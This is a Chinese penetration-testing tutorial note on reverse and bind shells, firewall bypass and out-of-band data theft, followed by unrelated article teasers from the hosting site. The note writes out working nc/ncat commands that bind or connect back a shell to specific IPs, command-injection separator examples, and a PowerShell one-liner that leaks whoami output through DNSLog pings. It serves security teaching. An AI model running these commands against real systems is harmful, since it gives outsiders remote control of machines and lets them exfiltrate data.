Day05:反弹SHELL不回显带外正反向连接防火墙出入站文件下载

目录

常规基本渗透命令

文件上传下载-解决无图形化&解决数据传输

反弹Shell命令-解决数据回显&解决数据通讯

防火墙绕过-正向连接&反向连接&内网服务器

防火墙组合数据不回显-ICMP带外查询Dnslog

思维导图


章节知识点:

应用架构:Web/APP/云应用/三方服务/负载均衡等

安全产品:CDN/WAF/IDS/IPS/蜜罐/防火墙/杀毒等

渗透命令:文件上传下载/端口服务/Shell反弹等

抓包技术:HTTP/TCP/UDP/ICMP/DNS/封包/代理等

算法加密:数据编码/密码算法/密码保护/反编译/加壳

常规基本渗透命令

需要掌握基本的Linux,CMD,POWERSHELL命令

【3】web安全入门篇-渗透测试中常用的命令_web安全入门篇 渗透测试中常用的命令-CSDN博客

文件上传下载-解决无图形化&解决数据传输

文件下载命令生成:[~]#棱角 ::Edge.Forum*

Linux:wget curl python ruby perl java等

Windows:PowerShell Certutil Bitsadmin msiexec mshta rundll32等

反弹Shell命令-解决数据回显&解决数据通讯

反弹命令在线生成;[~]#棱角 ::Edge.Forum*

NC(ncat)瑞士军刀:linux系统下自带,windows下需要下载。

正向连接-Linux(控制机)控制Windows(被控制机)

# Windows绑定CMD到本地5566端口

nc -e cmd -lvvp 5566

# Linux主动连接目标5566

nc 10.10.10.1 5566

正向连接-Windows(控制机)控制Linux(被控制机)

# Linux绑定SH到本地5566端口

ncat -e /bin/sh -lvp 5566

# Windows主动连接目标5566

nc 10.10.10.1 5566

反向连接-Linux(被控制机)反向连接Windows(控制机)

# linux反弹windows上

ncat -e /bin/sh x.x.x.x 5566 

# Windows等待5566连接

nc -lvvp 5566

反向连接-Windows(被控制机)反向连接Linux(控制机)

# windows 反弹linux

nc -e cmd 10.10.10.146 5566 windows 反弹linux

# Linux等待5566连接

ncat -lvvp 5566

防火墙绕过-正向连接&反向连接&内网服务器

Windows防火墙规则:

入站:规则严格,规则设置允许才能通过

  • 出战:宽松,没有禁止就可以通过

管道符:| (管道符号) ||(逻辑或) &&(逻辑与)  &(后台任务符号)

Windows->| & || &&

Linux->; | || & && ``(特有``和;)

``可以包含命令并执行

例子:

ping -c 1 127.0.0.1 ; whoami
ping -c 1 127.0.0.1 | whoami
ping -c 1 127.0.0.1 || whoami
ping -c 1 127.0.0.1 & whoami
ping -c 1 127.0.0.1 && whoami
ping -c 1 127.0.0.1 `whoami

  1. 判断目标系统类型
  2. windows没有自带的nc,想办法上传nc 反弹权限

  3. 反弹

开启入站策略,采用反向连接

Linux:ncat -lvvp 5566

Windows:127.0.0.1 | nc -e cmd 47.94.236.117 5566

开启出站策略,采用正向连接

Linux:ncat -e cmd 47.122.23.131 5566

Windows:127.0.0.1 | nc -e cmd -lvvp 5566

正反向反弹案例-内网服务器

只能内网主动交出数据,反向连接

防火墙组合数据不回显-ICMP带外查询Dnslog

如果防火墙规则限制严格,入/出站都做了严格限制,只允许特定的服务医用通过,有漏洞数据不回显,可以把数据隐藏在ICMP协议中外带出去

绕过原理:ping命令走的ICMP协议,而防火墙禁用端口是控制TCP/UDP协议,也就是控制传输层,但是ICMP是网络层,是传输层下层,不受防火墙影响。所以可以使用ping命令将数据带出。

DNS平台:DNSLog Platform

ping 127.0.0.1 | powershell $x=whoami;$x=$x.Replace('\','xxx');$y='5t4zre.dnslog.cn';$z=$x+$y;ping $z

cmd无法执行whoami

用到powershell变量赋值 把whoami执行结果给变量

结果带有“\” 导致ping无法执行

powershell $x=whoami;$x=$x.Replace('\','xxx');$y='.vpod5d.dnslog.cn';$z=$x+$y;ping $z

127.0.0.1 | powershell $x=ver;$x=$x.Replace('\','xxx');$y='.vpod5d.dnslog.cn';$z=$x+$y;ping $z

思维导图

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/499954.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

二维码样式美化怎么做?二维码改颜色、样式的方法

随着现在二维码广泛使用,面对不同的使用需求二维码展示的内容不同外,还需要对二维码的样式做处理,常见的设置有颜色修改、添加logo、编辑文字、样式调整等。那么,在遇到二维码样式修改问题时,为了能够更快的解决样式修…

IDC 中搭建 Serverless 应用平台:通过 ACK One 和 Knative 玩转云资源

作者:元毅、庄宇 如何打造云上(公共云)、云下(IDC 数据中心)统一的云原生 Serverless 应用平台,首先我们来看一下 ChatGPT 4 会给出什么样的答案: 如何打造云上、云下统一的云原生 Serverless…

LeetCode73题:矩阵置零(python3)

代码思路: 这里用矩阵的第一行和第一列来标记是否含有0的元素,但这样会导致原数组的第一行和第一列被修改,无法记录它们是否原本包含 0。因此我们需要额外使用两个标记变量分别记录第一行和第一列是否原本包含 0。 class Solution:def setZe…

java爬取深圳新房备案价

Java爬取深圳新房备案价 这是我做好效果,一共分3个页面 1、列表;2、统计;3、房源表 列表 价格分析页面 房源页面 一、如何爬取 第一步:获取深圳新房备案价 链接是:http://zjj.sz.gov.cn/ris/bol/szfdc/index.aspx 第二步:通过楼盘名查询获取明细 链接:http://z…

Repetition Improves Language Model Embeddings

论文结论: echo embeddings将句子重复拼接送入到decoder-only模型中,将第二遍出现的句子特征pooling作为sentence embedding效果很好,优于传统方法 echo embeddings与传统embedding方法区别,如图所示: Classical emb…

WebCPM:首个开源的交互式网页搜索中文问答模型

论文题目:WEBCPM: Interactive Web Search for Chinese Long-form Question Answering   论文日期:2023/05/23(ACL 2023)   论文地址:https://arxiv.org/abs/2305.06849   GitHub地址:https://arxiv.org/abs/2305.06849 文章…

自动化构建平台(三)Linux搭建私有的docker镜像库之Harbor的安装和使用详解

文章目录 前言一、Harbor的安装第一步:安装docker第二步:安装docker-compose第三步:安装Harbor 二、Harbor登录三、Harbor项目管理第一步:创建项目第二步:推送镜像 四、Harbor权限控制五、Harbor自动清理多余的镜像手动…

HOOPS Communicator对3D大模型轻量化加载与渲染的4种解决方案

今天给大家介绍一些关于3D Web轻量化引擎HOOPS Commuicator的关键概念,这些概念可以帮您在HOOPS Communicator流缓存服务器之上更好地构建您自己的模型流服务器。如果您是有大型数据集,那么,使用流缓存服务器可以极大地帮助您最大限度地减少内…

通过jenkins进行部署java程序到centos上

1.通过jumpserver访问到centos上,准备下java环境 // step1: 先编辑下 vim /etc/profile// step2: 编写好环境变量 JAVA_HOME/usr/local/java export JAVA_HOME export ZOOKEEPER_HOME/opt/zookeeper/apache-zookeeper-3.7.0-bin PATH$PATH:$JAVA_HOME/bin:$ZOOKEEP…

IntelliJ IDEA上svn分支管理和使用

IntelliJ IDEA上svn分支管理和使用 从Subversion下载trunk下的代码 选择项目创建分支 右键 Subversion --> branch or Tag … 选择Repository Location:需要创建的项目 选择Any Location 分支的位置和名字 详细查看截图 切换到分支 选择项目右键Subversion --> Update …

DolphinScheduler——蔚来汽车数据治理开发平台的应用改造

目录 一、业务痛点 二、应用现状 三、技术改造 3.1 稳定性 3.1.1 滚动重启黑名单机制精准路由 3.2 易用性 依赖节点优化 补数任务优化 多 SQL 执行 原文大佬的这篇基于调度系统的数据治理案例有借鉴意义,这里摘抄下来用作学习和知识沉淀。 一、业务痛点 蔚…

小程序实现定位城市切换且城市根据首字母A-Z排序后端数据实现逻辑

场景: 话不多说后端提供数据实现步骤: 1.controller层 Api(tags {"[地区]-城市相关接口"}) RestController RequestMapping("region") Slf4j public class RegionController extends BaseController {Resourceprivate RegionServ…